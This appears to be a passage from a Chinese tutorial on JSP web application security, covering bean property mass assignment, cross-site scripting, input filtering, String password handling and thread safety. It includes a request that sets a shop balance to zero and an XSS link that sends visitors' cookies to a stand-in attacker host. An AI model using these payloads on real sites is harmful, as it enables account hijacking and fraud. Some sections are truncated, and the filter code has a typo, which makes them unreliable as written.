守好Bean的入口 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
注意到property="*"了吗？这表明用户在可见的JSP页面中输入的，或是直接通过Query String提交的全部变量的值，将存储到匹配的bean属性中。
用户是这样提交请求的：
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
但是不守规矩的用户呢？他们可能会提交：
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
这样，balance=0的信息就被在存储到了JavaBean中了。当他们这时点击“chekout”结账的时候，费用就全免了。
这与PHP中全局变量导致的安全问题如出一辙。由此可见：“property="*"”一定要慎用！
长盛不衰的跨站脚本
跨站脚本（Cross Site Scripting）攻击是指在远程WEB页面的HTML代码中手插入恶意的JavaScript, VBScript, ActiveX, HTML, 或Flash等脚本，窃取浏览此页面的用户的隐私，改变用户的设置，破坏用户的数据。跨站脚本攻击在多数情况下不会对服务器和WEB程序的运行造成影响，但对客户端的安全构成严重的威胁。
举个最简单的例子。当我们提交
由于在返回“name”变量的值给客户端时，脚本没有进行任何编码或过滤恶意代码，当用户访问嵌入恶意“name”变量数据链接时，会导致脚本代码在用户浏览器上执行，可能导致用户隐私泄露等后果。比如下面的链接：
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser＜;script＞document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie＜/script＞
xxx.xxx用于收集后边跟的参数，而这里参数指定的是document.cookie，也就是访问此链接的用户的cookie。在ASP世界中，很多人已经把偷cookie的技术练得炉火纯青了。在JSP里，读取cookie也不是难事。当然，跨站脚本从来就不会局限于偷cookie这一项功能，相信大家都有一定了解，这里就不展开了。
对所有动态页面的输入和输出都应进行编码，可以在很大程度上避免跨站脚本的攻击。遗憾的是，对所有不可信数据编码是资源密集型的工作，会对 Web 服务器产生性能方面的影响。常用的手段还是进行输入数据的过滤，比如下面的代码就把危险的字符进行替换：
＜% String message = request.getParameter("message");
message = message.replace ('＜','_');
message = message.replace ('＞','_');
message = message.replace ('"','_');
message = message.replace ('/'','_');
message = message.replace ('%','_');
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %＞
更积极的方式是利用正则表达式只允许输入指定的字符：
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
else return false;
}
时刻牢记SQL注入
String对象带来的隐患
Java平台的确使安全编程更加方便了。Java中无指针，这意味着 Java 程序不再像C那样能对地址空间中的任意内存位置寻址了。在JSP文件被编译成 .class 文件时会被检查安全性问题，例如当访问超出数组大小的数组元素的尝试将被拒绝，这在很大程度上避免了缓冲区溢出攻击。但是，String对象却会给我们带来一些安全上的隐患。如果密码是存储在 Java String 对象中的，则直到对它进行垃圾收集或进程终止之前，密码会一直驻留在内存中。即使进行了垃圾收集，它仍会存在于空闲内存堆中，直到重用该内存空间为止。密码 String 在内存中驻留得越久，遭到窃听的危险性就越大。更糟的是，如果实际内存减少，则操作系统会将这个密码 String 换页调度到磁盘的交换空间，因此容易遭受磁盘块窃听攻击。为了将这种泄密的可能性降至最低（但不是消除），您应该将密码存储在 char 数组中，并在使用后对其置零（String 是不可变的，无法对其置零）。
线程安全初探
“JAVA能做的，JSP就能做”。与ASP、PHP等脚本语言不一样，JSP默认是以多线程方式执行的。以多线程方式执行可大大降低对系统的资源需求，提高系统的并发量及响应时间。线程在程序中是独立的、并发的执行路径，每个线程有它自己的堆栈、自己的程序计数器和自己的局部变量。虽然多线程应用程序中的大多数操作都可以并行进行，但也有某些操作（如更新全局标志或处理共享文件）不能并行进行。如果没做好线程的同步，在大并发量访问时，不需要恶意用户的“热心参与”，问题也会出现。最简单的解决方案就是在相关的JSP文件中加上: ＜%@ page isThreadSafe="false" %＞指令，使它以单线程方式执行，这时，所有客户端的请求以串行方式执行。这样会严重降低系统的性能。我们可以仍让JSP文件以多线程方式执行，通过对函数上锁来对线程进行同步。一个函数加上synchronized 关键字就获得了一个锁。
但是这样仍然会对系统的性能有一定影响。一个更好的方案是采用局部变量代替实例变量。因为实例变量是在堆中分配的，被属于该实例的所有线程共享，不是线程安全的，而局部变量在堆栈中分配，因为每个线程都有它自己的堆栈空间，所以这样线程就是安全的了。
如果采用的是实例变量，那么该实例变量属于该实例的所有线程共享，就有可能出现用户A传递了某个参数后他的线程转为睡眠状态，而参数被用户B无意间修改，造成好友错配的现象。
